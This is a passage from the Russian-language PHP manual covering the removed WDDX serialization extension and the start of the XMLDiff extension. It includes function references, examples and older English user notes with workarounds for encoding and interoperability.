$sx = simplexml_load_string('
<test>
 <one>hi</one>
 <two><![CDATA[stuff]]></two>
 <t>
  <for>two</for>
 </t>
 <multi>one</multi>
 <multi>two</multi>
</test>');
foreach((array) $sx as $tagname => $val) {
    if (is_string($val)) {
       // <one> will go here
    } elseif (is_array($val)) {
       // <multi> will go here because it happens multiple times
    } elseif (is_object($val)) {
      // <t> will go here because it contains tags
      // <two> will go here because it contains CDATA!
    }
}
?>

To test in the loop, do this

<?php
if (count((array) $val) == 0) {
    // this is not a tag that contains other tags
    $val = '' . $val;
    // now the CDATA is revealed magically.
}
?>


WDDX

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Примеры wddx
  • Функции WDDX
    • wddx_add_vars — Добавить переменные в пакет WDDX с указанным идентификатором
    • wddx_deserialize — Десериализует пакет WDDX
    • wddx_packet_end — Завершает пакет WDDX с указанным идентификатором
    • wddx_packet_start — Запускает новый пакет WDDX со структурой внутри него
    • wddx_serialize_value — Сериализует одно значение внутри пакета WDDX
    • wddx_serialize_vars — Сериализация переменных в пакет WDDX

User Contributed Notes

There are no user contributed notes for this page.


Введение

Внимание

Модуль объявлен УСТАРЕВШИМ и УДАЛЁН ИЗ ЯДРА начиная с PHP 7.4.0.

Эти функции предназначены для работы с » WDDX.

Внимание

Не передавайте недоверенные пользовательские данные в wddx_deserialize(). Десериализация может привести к загрузке и запуску вредоносного кода во время инстанциирования и автозагрузки объекта. Используйте безопасный, стандартный формат передачи информации, такой как JSON (с помощью json_decode() и json_encode()).

User Contributed Notes

alvaro at demogracia dot com 29-Sep-2008 08:49
From OpenWDDX.Org:

"The Web Distributed Data Exchange, or WDDX, is a free, open XML-based technology that allows Web applications created with any platform to easily exchange data with one another over the Web."

"WDDX is an XML-based technology that enables the exchange of complex data between Web programming languages, creating what some refer to as 'Web syndicate networks'. WDDX consists of a language-independent representation of data based on an XML 1.0 DTD, and a set of modules for a wide variety of languages that use WDDX. WDDX can be used with HTTP, SMTP, POP, FTP and other Internet protocols that support transferring textual data."


Требования

Для корректной работы этого модуля необходим PHP-модуль libxml. Это означает, что также необходима передача опции --with-libxml, или до PHP 7.4 --enable-libxml, хотя неявно это уже сделано, так как поддержка libxml по умолчанию включена.

Для использования WDDX вам будет надо установить библиотеку expat (которая поставляется с Apache 1.3.7 или выше).

User Contributed Notes

There are no user contributed notes for this page.


Установка

PHP 7.4

Этот модуль был перемещен в репозиторий » PECL и больше не поставляется с PHP 7.4.0

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/wddx.

PHP < 7.4

После установки требуемой библиотеки expat, скомпилируйте PHP с --enable-wddx и используйте --with-libexpat-dir для expat.

Версия PHP для Windows имеет встроенную поддержку этого модуля. То есть для вызова этих функций не нужна загрузка дополнительных модулей.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Модуль определяет идентификатор пакета WDDX, возвращаемый wddx_packet_start().

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Примеры wddx

User Contributed Notes

dormilich at netscape dot net 27-Nov-2008 06:37
If you want to use the WDDX 1.0 DTD for validation (http://www.openwddx.org/downloads/dtd/wddx_dtd_10.txt) check that you define the comment as element, not as attribute.

<?xml version="1.0" encoding="iso-8859-1" ?>
<wddxPacket version='1.0'>
    <header>
        <comment>PHP</comment>
    </header>
    <data><!-- WDDX serialized data --></data>
</wddxPacket>


Примеры wddx

Все функции, сериализующие переменные, используют первый элемент массива для определения, во что должен быть сериализован массив, в массив или в структуру. Если первый элемент имеет строковый ключ, тогда он будет сериализован в структуру, в ином случае в массив.

Пример #1 Сериализация одно значения с помощью WDDX

<?php
echo wddx_serialize_value("PHP to WDDX packet example", "PHP packet");
?>

Этот пример создаёт:

<wddxPacket version='1.0'><header comment='PHP packet'/><data>
<string>PHP to WDDX packet example</string></data></wddxPacket>

Пример #2 Использование инкрементальных пакетов WDDX

<?php
$pi = 3.1415926;
$packet_id = wddx_packet_start("PHP");
wddx_add_vars($packet_id, "pi");

/* Предпожим, что $cities была заполнена из базы данных */
$cities = array("Austin", "Novato", "Seattle");
wddx_add_vars($packet_id, "cities");

$packet = wddx_packet_end($packet_id);
echo $packet;
?>

Этот пример создаёт:

<wddxPacket version='1.0'><header comment='PHP'/><data><struct>
<var name='pi'><number>3.1415926</number></var><var name='cities'>
<array length='3'><string>Austin</string><string>Novato</string>
<string>Seattle</string></array></var></struct></data></wddxPacket>

Замечание:

Строки должны быть закодированы в UTF-8; для работы с другими кодировками сначала преобразуйте строку с помощью функции mb_convert_encoding(), UConverter::transcode() или iconv().

User Contributed Notes

There are no user contributed notes for this page.


Функции WDDX

Содержание

  • wddx_add_vars — Добавить переменные в пакет WDDX с указанным идентификатором
  • wddx_deserialize — Десериализует пакет WDDX
  • wddx_packet_end — Завершает пакет WDDX с указанным идентификатором
  • wddx_packet_start — Запускает новый пакет WDDX со структурой внутри него
  • wddx_serialize_value — Сериализует одно значение внутри пакета WDDX
  • wddx_serialize_vars — Сериализация переменных в пакет WDDX

User Contributed Notes

iGEL 14-Mar-2008 02:03
As of version 5.2.5, this is wrong:

> Note: If you want to serialize non-ASCII characters you
> have to convert your data to UTF-8 first (see utf8_encode()
> and iconv()).

Serializing a string with WDDX will always convert it from ISO-8859-1 to UTF-8, no matter what the original encoding is. So if your data already are UTF-8, you get just gibberish.

You can restore the original encoding by using utf8_decode on the serialized wddx data, even though your original data may use chars not included in ISO-8859-1:

<?php
header("Content-Type: text/xml;encoding=utf-8");
echo utf8_decode(wddx_serialize_value("?? ???"));
?>

(This is why I dislike PHP, sorry)
egbert teeselink 23-Feb-2008 10:49
If your PHP doesn't have wddx support installed, and you need it, and you don't want to install PEAR just for wddx, try this short piece of code, based on SimpleXML:

//can read any wddx file generated from php arrays. assumes var elements are only inside struct elements and that only one packet exists.
function wddx_read_node($node, $type)
{
    switch($type)
    {
    case "boolean":
        return (string)$node;
    case "number":
    case "binary":
    case "string":
        return (string)$node;
    case "null":
        return null;
    case "array":
        $a = array();
        foreach($node as $subtype => $subnode)
        {
            $a[] = wddx_read_node($subnode, $subtype);
        }
        return $a;
    case "struct":
        $a = array();
        foreach($node as $subtype => $subnode)
        {
            list($key, $value) = wddx_read_node($subnode, $subtype); //must be a var element
            $a[$key] = $value;
        }
        return $a;
    case "var":
        list($subnode, $subtype) = getchild($node);
        return array((string)$node["name"], wddx_read_node($subnode, $subtype));
    case "data":
        list($subnode, $subtype) = getchild($node);
        return wddx_read_node($subnode, $subtype);
    }
}

function wddx_read($string)
{
    $xml = simplexml_load_string($string);
    $d = wddx_read_node($xml->data, "data");
    return $d;
}

important notice: this one may not work with all wddx input. multiple packets or variables outside a "struct" are not supported. basically, you always get a PHP (associative) array, never something else. feel free to make additions.
no at spam dot thx 12-Aug-2007 02:09
To bradburn at kiwi dot de:

PHP is only capable of serializing properly variables which match one of its native (scalar) types (See http://php.net/types). Which means that only variables of type booleans, integers, floating point numbers, string and NULL will be serialized properly.

I think there are two exceptions though:
- arrays are serialized by processing them recursively, so if its only composed of the above mentioned types, you should be fine.
- floating point numbers and integers may use the same representation while serialized in WDDX (I don't know much about WDDX, so I'm not 100% sure about this statement).

An interesting case would be whether objects can be serialized or not...
Jimmy Wimenta 15-Jul-2004 05:53
PHP's WDDX is useful only for exchanging data between PHP applications, but definetly not for exchanging data between different languages (which actually defeats the purpose of WDDX).

For example:

$hash1 = array ("2" => "Two", "4" => "Four", "5" => "Five");
$hash2 = array ("0" => "Zero", "1" => "One", "2" => "Two");

$hash1 will be serialized as hash, but
$hash2 will be serialized as array/list, because the key happen to be a sequence starting from 0.

Unless the library provide a way for users to specify the type, it can never be used for cross-platform data exchange.
Q1tum at hotmail dot com 21-Nov-2003 05:08
To insert arrays into a wddx variable here is a fine way to do it:

<?php

$sql = 'SELECT * FROM example';
$query = mysql_query($sql, $db) or die(mysql_error());

while($result = mysql_fetch_array($query)) {
    $id[] = $result[ 'id'];
    $name[] = $result['name'];
    $description[] = $result[$prefix . 'description'];
}

mysql_free_result($query);

wddx_add_vars($packet_id, "id");
wddx_add_vars($packet_id, "name");
wddx_add_vars($packet_id, "description");

$wddxSerializeValue = wddx_packet_end($packet_id);

?>
bradburn at kiwi dot de 30-Jul-2002 07:02
With ref to the above comment about typing, I have found that -- oddly enough -- PHP's WDDX supports the following WDDX types: null, boolean (true/false), number and string, *but* not date-time.

as an example, use the following values in an array that you then serialize:

$number = 5,
$null = NULL,
$bool = true,
$string = 'this is a string'.

they will all serialize correctly, e.g. the third entry comes out as:

<var name='bool'><boolean value='true'/></var>

i have tried with the 'official' format for WDDX 'datetime', e.g. '1998-9-15T09:05:32+4:0' (from the DTD @ http://www.openwddx.org/downloads/dtd/wddx_dtd_10.txt)  but have only succeeded in getting this encoded as a 'string' type.

if anyone else has any more information on this, it would be welcome. i would like to store the variables in 'appropriate' fields in a database, and the fact that only datetime is not supported is slightly irritating -- otherwise it would be a very useful function.
djm at web dot us dot uu dot net 18-Oct-1999 08:45
Since there aren't any examples of reversing the process, here's one. If you had the packet produced by the above example (without the htmlentities() call), you could retrieve the values like this:

<?php
$value = wddx_deserialize($packet);
print "pi is:<br>" . $value["pi"] . "<p>\n";
print "cities is:<br>\n";
while (list($key, $val) = each($value["cities"])) {
    print "$key => $val<br>\n";
}
?>

which outputs:

<pre>
pi is:
3.1415926

cities is:
0 => Austin
1 => Novato
2 => Seattle
</pre>


Добавить переменные в пакет WDDX с указанным идентификатором

  • « Функции WDDX
  • wddx_deserialize »
  • PHP Manual
  • Функции WDDX
  • Добавить переменные в пакет WDDX с указанным идентификатором

wddx_add_vars

(PHP 4, PHP 5, PHP 7)

wddx_add_vars — Добавить переменные в пакет WDDX с указанным идентификатором

Внимание

Эта функция была УДАЛЕНА в PHP 7.4.0.

Описание

wddx_add_vars(resource $packet_id, mixed $var_name, mixed ...$var_names): bool

Сериализует переданные переменные и добавляет результат к данному пакету.

Список параметров

Функция принимает переменное количество параметров.

packet_id

Пакет WDDX, возвращаемый wddx_packet_start().

var_name

Может быть либо строкой, обозначающей переменную, либо массивом, содержащий строки c именами переменных или другие массивы и т.д.

var_names

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

maciek at webenlinea dot com 05-Sep-2004 11:20
Here is a simple way of serializing dynamic values from an array:

<?PHP
//a unix timestamp
$date    = "1094095513";

//some data to be included
$books   = array('programming'   => array('php','perl','java'),
                'markup'        => array('UML','XML','HTML')
                );

//stick data to an array to iterate over
$data_to_serialize = array($date,$books);

//create the packet
$packet = wddx_packet_start("SOME DATA ARRAY");

//loop through the data
foreach($data_to_serialize as $key => $data)
{
  //create a var whith the name of the content of $key
  $$key = $data;
  wddx_add_vars($packet,$key);
}

echo wddx_packet_end($packet);

?>

Have fun !


Десериализует пакет WDDX

  • « wddx_add_vars
  • wddx_packet_end »
  • PHP Manual
  • Функции WDDX
  • Десериализует пакет WDDX

wddx_deserialize

(PHP 4, PHP 5, PHP 7)

wddx_deserialize — Десериализует пакет WDDX

Внимание

Эта функция была УДАЛЕНА в PHP 7.4.0.

Описание

wddx_deserialize(string $packet): mixed

Десериализует пакет packet WDDX.

Внимание

Не передавайте непроверенный пользовательский ввод в wddx_deserialize(). Десериализация может привести к тому, что когда код загружается и выполняется во время инициализации и автозагрузки, и злоумышленник может воспользоваться этим. Используйте безопасный стандартный формат обмена данными, такой как JSON (через json_decode() и json_encode()), если вам необходимо передать сериализованные данные пользователю.

Список параметров

packet

Пакет WDDX в виде строки или потока.

Возвращаемые значения

Возвращает десериализованное значение, которое может быть строкой, числом или массивом. Обратите внимание, что структуры десериализуются в ассоциативные массивы.

User Contributed Notes

valer underscore crisan at yahoo 01-Apr-2009 02:03
In PHP 5.2.9, we noticed that wddx serialize and deserialize seems to use UTF-8 encoding for XML input and the output data. There are some posts below that talk about fixing the input XML data so deserialize would work fine on special chars in ISO-8859-1 encoding, but none of the posts talks about the output encoding.

Consider this test:
$text = "Jur";
$packet = wddx_serialize_value($text);
$header = '<?xml version="1.0" encoding="iso-8859-1"?>';
$newText = wddx_deserialize($header . $packet);
echo "WDDX Packet: $packet\n";
echo "Deserialized Object: $newText\n";

The output is:

WDDX Packet: <wddxPacket version='1.0'><header/><data><string>Jur</string></data></wddxPacket>
Deserialized Object: JA?r

The deserialized string is not in ISO-8859-1 encoding. It is in UTF-8 encoding. So we need to run utf8_decode() on the deserialized data to convert it back to ISO-8859-1 encoding which is what our application expects.

Hope this helps.
Magnus Deininger, dma05 at web dot de 12-Feb-2009 05:57
When writing your wddx file manually with an UTF-8 aware editor and saving it in utf-8, if your data gets its special characters mysteriously scrambled, try to add an xml header that marks the output as iso-8859-1, like this one:

<?xml version="1.1" encoding="iso-8859-1" ?>

This makes the wddx decode function treat the input as iso-8859-1, so it will not try to treat it as utf-8 and do an implicit decode to iso-8859-1. You will then have read all string data in the wddx packet in their original utf-8 encoding, so that 'echo' and other output functions will produce the intended result if you have set the output encoding to utf-8.

(Bugs reports on this behaviour seem to be treated as bogus, so it would seem in order to point out this incorrect and highly confusing side-effect.)
dormilich at netscape dot net 28-Nov-2008 05:13
When deserializing objects make sure you have the class definition loaded. wddx_deserialize() doesn't call the class itself, so you will receive a fatal error.
Nevertheless you can look for the class manually and delegate it to __autoload().

<?php
// $wddx_string needs to be valid XML to be loaded by SimpleXML.
// class_exists() will call the __autoload() function. if you don't
// want to use __autoloload(), use require_once()

function loadClassesFromWDDX($wddx_string)
{
    $xml = new SimpleXMLElement($wddx_string);

    foreach ($xml->xpath('//var') as $var)
    {
        if ($var['name'] == 'php_class_name')
        {
            if (!class_exists($var->string))
            {
                throw new Exception('Class '" . $var->string . "'not available.');
                // trigger_error('Class '" . $var->string . "'not available.', E_USER_ERROR);
            }
        }
    }
}
?>
dave at codexweb dot co dot za 21-Jan-2006 04:40
Here's a handy wddx_deserialize clone I wrote a while back. It uses PHP5 SimpleXML and recursion to do pretty much the same task as wddx_deserialize. Hope it comes in handy for someone.

<?php

if (!function_exists('wddx_deserialize'))
{
    /**
     * Clone implementation of wddx_deserialize
     */
    function wddx_deserialize($xmlpacket)
    {
        if ($xmlpacket instanceof SimpleXMLElement)
        {
            if (!empty($xmlpacket->struct))
            {
                $struct = array();
                foreach ($xmlpacket->xpath("struct/var") as $var)
                {
                    if (!empty($var["name"]))
                    {
                        $key = (string) $var["name"];
                        $struct[$key] = wddx_deserialize($var);
                    }
                }
                return $struct;
            }
            else if (!empty($xmlpacket->array))
            {
                $array = array();
                foreach ($xmlpacket->xpath("array/*") as $var)
                {
                    array_push($array, wddx_deserialize($var));
                }
                return $array;
            }
            else if (!empty($xmlpacket->string))
            {
                return (string) $xmlpacket->string;
            }
            else if (!empty($xmlpacket->number))
            {
                return (int) $xmlpacket->number;
            }
            else
            {
                if (is_numeric((string) $xmlpacket))
                {
                    return (int) $xmlpacket;
                }
                else
                {
                    return (string) $xmlpacket;
                }
            }
        }
        else
        {
            $sxe = simplexml_load_string($xmlpacket);
            $datanode = $sxe->xpath("/wddxPacket[@version='1.0']/data");
            return wddx_deserialize($datanode[0]);
        }
    }
}

?>
php dot net at werner-ott dot de 24-Nov-2005 12:20
On migrating wddx_deserialize() from PHP 4.x to PHP 5.1 (5.1.0RC6):

While

  $buffer = wddx_serialize_vars($some_array);
  $some_array = wddx_deserialize($buffer);

worked fine with PHP 4.x, the deserialization failed with PHP 5.1. In the above example $some_array will just be an empty string under 5.1

While wddx_serialize_vars() seems to behave identical in 4.x and 5.1, wddx_deserialize() does NOT.

Prepending XML encoding information to the buffer turned out to be at least a workaround. So, the following works with PHP 5.1:

  $buffer = wddx_serialize_vars($some_array);
  $buffer = '<?xml version="1.0"
          encoding="ISO-8859-1"?>'.
          $buffer;
  $some_array = wddx_deserialize($buffer);

NB: It may well be, that the behavioural difference between 4.x and 5.1 described above can only be observed if the array contains certain characters, i.e. german Umlaute (??????). So this workaround may not be necessary in each and every case.
mail_fidel at yahoo dot com 19-Nov-2004 12:11
To properly deserialize a wddx file it was to be utf8_encoded.

The following code will NOT work (PHP5.0.2 FreeBSD):

<?php
   $data = wddx_serialize_value(array("xyz???","abcd"));
   print $data;
   print_r(wddx_deserialize($data));

?>

Even thought the serialization is done right, the deserialization will not work unless you encode the text using utf8.

This code WILL work:

<?php
   $data = wddx_serialize_value(array(utf8_encode("xyz???"),"abcd"));
   print $data;
   print_r(wddx_deserialize($data));

?>
xavier at c-est-simple dot com 19-May-2004 04:09
JavaScript/PHP interroperability:

If you want to exchange wddx packets between a JavaScript application using the JS wddx library from openwddx (http://www.openwddx.org/downloads/), and a PHP script using wddx functions, be aware that the encoding of the classes of objects serialized in the wddx packet is not made the same way in both implementations.

The JS lib uses a 'type' attribute in the 'struct' tab and gives it the name of the class of the object serialized in the 'struct' element, while PHP uses a 'php_class_name' tag within the 'struct'.
NB : to get the type attribute with JS serialisation, you need to set the 'wddxSerializationType' member in your classes

Example with an object of class 'exemple' containing 2 members _attr1 and _attr2.
(NB : in french, 'example' is spelled 'exemple', okay ? :-)

JS serialization :
<wddxPacket version='1.0'>
 <header/>
 <data>
  <struct type="exemple">
   <var name='_attr1'>
    <string>foo</string>
   </var>
   <var name='_attr2'>
    <string>bar</string>
   </var>
  </struct>
 </data>
</wddxPacket>

php serialization:
<wddxPacket version='1.0'>
 <header/>
 <data>
  <struct>
   <var name='php_class_name'>
    <string>exemple</string>
   </var>
   <var name='_attr1'>
    <string>foo</string>
   </var>
   <var name='_attr2'>
    <string>bar</string>
   </var>
  </struct>
 </data>
</wddxPacket>

I like the JS approach better.
So if you need the compatibility, the workaround is quite simple:
- add a 'php_class_name' member in your JS objects, giving it the name of the class for value, and the JS generated packet will be correctly deserialized with PHP in classed objects.

- use a regexp on a PHP generated packet to add the 'type' attribute so that the JS deserialization instanciates objects of the right class:
      $pat = "/<struct><var name='php_class_name'><string>(\w+)<\/string>/" ;
      $rep = "<struct type='\$1'><var name='php_class_name'><string>\$1</string>" ;
      $serialised = preg_replace($pat, $rep, $serialised );
NB : this only works because the 'php_class_name' tag is just next to the 'struct' tag.
Who knows if this is going to be true in future releases... ?

This way, you can exchange JS and PHP objects (provided you define your JS and PHP classes the same way) smoothly...

It's worth saying that both implementations, as well as my interroperability workaround, handle correctly objects with members that are also objects.

NB : NB means Nota Bene.
xavier at c-est-simple.com 18-May-2004 10:19
Beware, although the deserialized objects are instanciated class objects (if the php_class_name tag is amongst the children of the struct tag and its text content is the name of a loaded class), the constructor of the class has not been called at all.
You can use the members and call the methods of the object all right, but any initialisation action that the constructor might be in charge of is missing.
php at mike2k dot com 10-Sep-2001 06:06
if you have WDDX data coming from a third party source and it isnt being parsed correctly in your php, try translating their WDDX. we have a third party sending us WDDX from cold fusion, and it uses a <recordset> element, which PHP seems to ignore (looking around the web we found some other people having trouble) so the (hopefully temporary) solution we found was to translate the WDDX midstream and then we were able to parse it:

$url = "http://somedomain.com/blah.wddx";
$fp = fopen($url,"r");
$page = fread($fp,10000);
fclose($fp);
$page = str_replace("<recordset","<struct",$page);
$page = str_replace("</recordset","</struct",$page);
$page = str_replace("<field","<var",$page);
$page = str_replace("</field","</var",$page);
$values = wddx_deserialize($page);
while(list($key,$val) = each($values)) {
        print "$key => $val<BR>";
}

this works for us. it's a hack, and hopefully php will support this in the future or something.
medvitz at medvitz dot net 14-Oct-2000 05:29
You can also serialize instantiated class objects with the wddx functions.
ie.

<?php
$packet_id = wddx_packet_start("PHP");
wddx_add_vars($packet_id, "objvar");
$packet = wddx_packet_end($packet_id);

$a =  wddx_deserialize($packet);
$obj = $a[objvar];
?>

now $obj is a useable object, that looks like the original.

Note that with this method, you need to know what the variable name of the original object was.  You can use one of the array functions to get the object in the event that the original object's variable name was unknown.

*** only verified on linux with 4.0.2
djm at web dot us dot uu dot net 18-Oct-1999 09:58
The packet string you pass to this function doesn't have to be sanitized first; it searches for a WDDX packet within the string.  So the string can contain HTML markup and random text outside of the packet, and that is all ignored.
This means you can get a packet from another web page like this:
<?php
$fhandle = fopen("http://myserver.com/packet.php", "r");
if ($fhandle) {
        $page = fread($fhandle,10000);
        fclose($fhandle);
        $value = wddx_deserialize($page);
        print "pi is:<br>" . $value["pi"] . "<p>\n";
} else {
        print "could not get packet.php<p>";
}
?>


Завершает пакет WDDX с указанным идентификатором

  • « wddx_deserialize
  • wddx_packet_start »
  • PHP Manual
  • Функции WDDX
  • Завершает пакет WDDX с указанным идентификатором

wddx_packet_end

(PHP 4, PHP 5, PHP 7)

wddx_packet_end — Завершает пакет WDDX с указанным идентификатором

Внимание

Эта функция была УДАЛЕНА в PHP 7.4.0.

Описание

wddx_packet_end(resource $packet_id): string

Завершает и возвращает заданный пакет WDDX.

Список параметров

packet_id

Пакет WDDX, возвращаемый wddx_packet_start().

Возвращаемые значения

Возвращает строку, содержащую пакет WDDX.

User Contributed Notes

There are no user contributed notes for this page.


Запускает новый пакет WDDX со структурой внутри него

  • « wddx_packet_end
  • wddx_serialize_value »
  • PHP Manual
  • Функции WDDX
  • Запускает новый пакет WDDX со структурой внутри него

wddx_packet_start

(PHP 4, PHP 5, PHP 7)

wddx_packet_start — Запускает новый пакет WDDX со структурой внутри него

Внимание

Эта функция была УДАЛЕНА в PHP 7.4.0.

Описание

wddx_packet_start(string $comment = ?): resource

Запустить новый пакет WDDX для инкрементного добавления переменных. Это автоматически создаст определение структуры внутри пакета для хранения переменных.

Список параметров

comment

Необязательная строка с комментарием

Возвращаемые значения

Возвращает идентификатор пакета для использования в последующих функциях или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сериализует одно значение внутри пакета WDDX

  • « wddx_packet_start
  • wddx_serialize_vars »
  • PHP Manual
  • Функции WDDX
  • Сериализует одно значение внутри пакета WDDX

wddx_serialize_value

(PHP 4, PHP 5, PHP 7)

wddx_serialize_value — Сериализует одно значение внутри пакета WDDX

Внимание

Эта функция была УДАЛЕНА в PHP 7.4.0.

Описание

wddx_serialize_value(mixed $var, string $comment = ?): string

Создаёт пакет WDDX из одного заданного значения.

Список параметров

var

Значение для сериализации

comment

Необязательная строка с комментарием, которая отображается в заголовке пакета.

Возвращаемые значения

Возвращает пакет WDDX или false в случае возникновения ошибки.

User Contributed Notes

chris at digitalbase dot com 04-Jan-2002 04:36
When serializing JavaScript objects to interact with PHP objects, you should make the JavaScript object's first entry a php_class_name.

PHP:
class myclass {
    var $name;
    var $age;
    var $ssn;
    ...

    function myclass() {
        $this->name = "";
        $this->age = "";
        $this->ssn = "";
        ...
    }
}

JavaScript:
// serialization example code is from the
// WDDX SDK http://www.openwddx.org
function SerializeMsg(name, age, ssn, ...) {
    var MyObj = new Object;

    // the following line is necessary in order
    // to deserialize back to a PHP object
    MyObj.php_class_name = "myclass";

    MyObj.name = name;
    MyObj.age = age;
    MyObj.ssn = ssn;
    ...

    // Create a new serializer "object" to do our work for us
    MySer = new WddxSerializer;

    // Serialize the Message variable into a WDDX Packet
    MyWDDXPacket = MySer.serialize(MyObj);

    // Output WDDX Packet so we can see what it looks like
    return MyWDDXPacket;
}

Now you can use this in a page which is its own form action:
<?php
// don't forget to include the class definition from above!
if (!isSet($wddx_packet))
    $MyObj = new myclass();
else
    $MyObj = wddx_deserialize($wddx_packet);
?>

<html>
<head>
<script language="JavaScript">
<!--
function Init() {
    // sets the form's text-elements
    tmp = document.MyForm;

    tmp.name.value = "<? echo $MyObj->name ?>";
    tmp.age.value = "<? echo $MyObj->age ?>";
    tmp.ssn.value = "<? echo $MyObj->ssn ?>";
    ...
}

function SerializeMsg(name, age, ssn, ...) {
// see above!
}

function SubmitForm() {
    // sumbits the form
    tmp = document.MyForm;

    tmp.wddx_packet.value =
    SerializeMsg(tmp.name.value, tmp.age.value, tmp.ssn.value,...);
    document.submit();
}
// -->
</script>
</head>
<body>
...
<form name="MyForm"
action="<? echo $PHP_SELF ?>" method="post">
<input name="wddx_packet" type="hidden">
<input name="name" type="text">
<input name="age" type="text">
<input name="ssn" type="text">
...
<input name="SubmitBtn" type="button" onclick="SumbitForm()">
</form>
</body>
</html>

---------------------------------
If you don't provide that first 'php_class_name' in the JavaScript function, then when PHP deserializes it will deserialize into an associative array and not an object instance.

Note that this provides a way to maintain state without
using sessions or cookies - just good old HTML!

Hope this helps!
--
Chris Hansen


Сериализация переменных в пакет WDDX

  • « wddx_serialize_value
  • XMLDiff »
  • PHP Manual
  • Функции WDDX
  • Сериализация переменных в пакет WDDX

wddx_serialize_vars

(PHP 4, PHP 5, PHP 7)

wddx_serialize_vars — Сериализация переменных в пакет WDDX

Внимание

Эта функция была УДАЛЕНА в PHP 7.4.0.

Описание

wddx_serialize_vars(mixed $var_name, mixed ...$var_names): string

Создаёт пакет WDDX со структурой, которая содержит сериализованное представление переданных переменных.

Список параметров

Функция принимает переменное количество параметров.

var_name

Может быть либо строкой, обозначающей переменную, либо массивом, содержащим строки с названиями переменных или другой массив и т.д.

var_names

Возвращаемые значения

Возвращает пакет WDDX или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования wddx_serialize_vars()

<?php
$a = 1;
$b = 5.5;
$c = array("blue", "orange", "violet");
$d = "colors";

$clvars = array("c", "d");
echo wddx_serialize_vars("a", "b", $clvars);
?>

Результат выполнения приведённого примера:

<wddxPacket version='1.0'><header/><data><struct><var name='a'><number>1</number></var>
<var name='b'><number>5.5</number></var><var name='c'><array length='3'>
<string>blue</string><string>orange</string><string>violet</string></array></var>
<var name='d'><string>colors</string></var></struct></data></wddxPacket>

User Contributed Notes

kangus at jaga dot us 13-Oct-2003 03:57
A function to use for dates with PHP & WDDX
getdate()

$ta="<FORM><TEXTAREA rows=15 cols=80>" ;
$te="</TEXTAREA></FORM>";
$packet_id=wddx_packet_start("Date Example--");
$myDate=getdate();
wddx_add_vars($packet_id,'myDate');
$package=wddx_packet_end($packet_id);
print($ta.$package.$te);

Produces:

<wddxPacket version='1.0'><header><comment>Date Example--</comment></header>
<data><struct><var name='myDate'>
<struct><var name='seconds'><number>12</number></var>
<var name='minutes'><number>55</number></var>
<var name='hours'><number>1</number></var>
<var name='mday'><number>13</number></var>
<var name='wday'><number>1</number></var>
<var name='mon'><number>10</number></var>
<var name='year'><number>2003</number></var>
<var name='yday'><number>285</number></var>
<var name='weekday'><string>Monday</string></var>
<var name='month'><string>October</string></var>
<var name='0'><number>1066031712</number>
</var></struct></var></struct></data></wddxPacket>
tychay at alumni dot caltech dot edu 31-Mar-2002 12:15
The above feature will cause a slight trouble since the name of the variable will always be "wddxtemp" but you can use preg_replace to fix that.

Also, a better approach is to serialize the entire class. WDDX will that write a reserved "php_class_name" variable which can be used to reconstruct the class during a deserialize.
tychay at alumni dot caltech dot edu 30-Mar-2002 10:49
You can use globals to get around the above in classes:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
    $this->str = "test";
    $this->wddx_serialize($this->str);
    header('Content-Type: text/xml');
    echo ($this->wddx);
  }

  function wddx_serialize($var) {
    global $wddxtemp;
    unset($wddxtemp);
    $wddxtemp = $var;
    $this->wddx = wddx_serialize_vars("wddxtemp");
  }
}

new Test();
?>
-terry
tychay at alumni dot caltech dot edu 30-Mar-2002 10:45
You can use globals to get around the above in classes:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
    $this->str = "test";
    $this->wddx_serialize($this->str);
    header('Content-Type: text/xml');
    echo ($this->wddx);
  }

  function wddx_serialize($var) {
    global $wddxtemp;
    unset($wddxtemp);
    $wddxtemp = $var;
    $this->wddx = wddx_serialize_vars("wddxtemp");
  }
}

new Test();
?>
-terry
christian dot knoflach at gmx dot at 21-May-2001 03:56
Be careful using WDDX - functions on object variables. As I just had to find out the following won't work:

<?php
class Test
{
  var $str;
  var $wddx;

  function Test()
  {
    $this->str = "test";
    $this->wddx = wddx_serialize_vars("this->str");
    print(htmlentities($this->wddx));
  }
}

new Test();
?>

That's what you'll get:
<wddxPacket version='1.0'><header/><data><struct></struct></data></wddxPacket>


Сравнение и объединение XML

  • Введение
  • Установка и настройка
    • Требования
    • Установка
  • XMLDiff\Base — Класс XMLDiff\Base
    • XMLDiff\Base::__construct — Конструктор
    • XMLDiff\Base::diff — Производит сравнение двух документов XML
    • XMLDiff\Base::merge — Создаёт новый документ XML, основываясь на информации о его отличии от другого
  • XMLDiff\DOM — Класс XMLDiff\DOM
    • XMLDiff\DOM::diff — Поиск различий в двух объектах DOMDocument
    • XMLDiff\DOM::merge — Объединяет объект DOMDocument, на основании другого объекта DOMDocument, полученного с помощью XMLDiff\DOM::diff
  • XMLDiff\Memory — Класс XMLDiff\Memory
    • XMLDiff\Memory::diff — Сравнение двух документов XML
    • XMLDiff\Memory::merge — Применить изменения к документу XML
  • XMLDiff\File — Класс XMLDiff\File
    • XMLDiff\File::diff — Сравнение двух файлов XML
    • XMLDiff\File::merge — Применить изменения к документу XML

User Contributed Notes

There are no user contributed notes for this page.


Введение

Этот модуль позволяет сравнивать XML-документы, создавать документы описывающие различия и применять выявленные изменения к документу источнику. Документы описывающие различия содержат инструкции копирования, вставки и удаления узлов в человекочитаемом виде. С помощью модуля можно обрабатывать объекты DOMDocument, локальные файлы и строки в памяти.

User Contributed Notes

There are no user contributed notes for this page.


Требования

В модуле включена библиотека libdiffmark версии 0.10. Если в вашей системе доступна библиотека diffmark, то крайне рекомендуется использовать именно её.

модуль libxml

модуль DOM

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

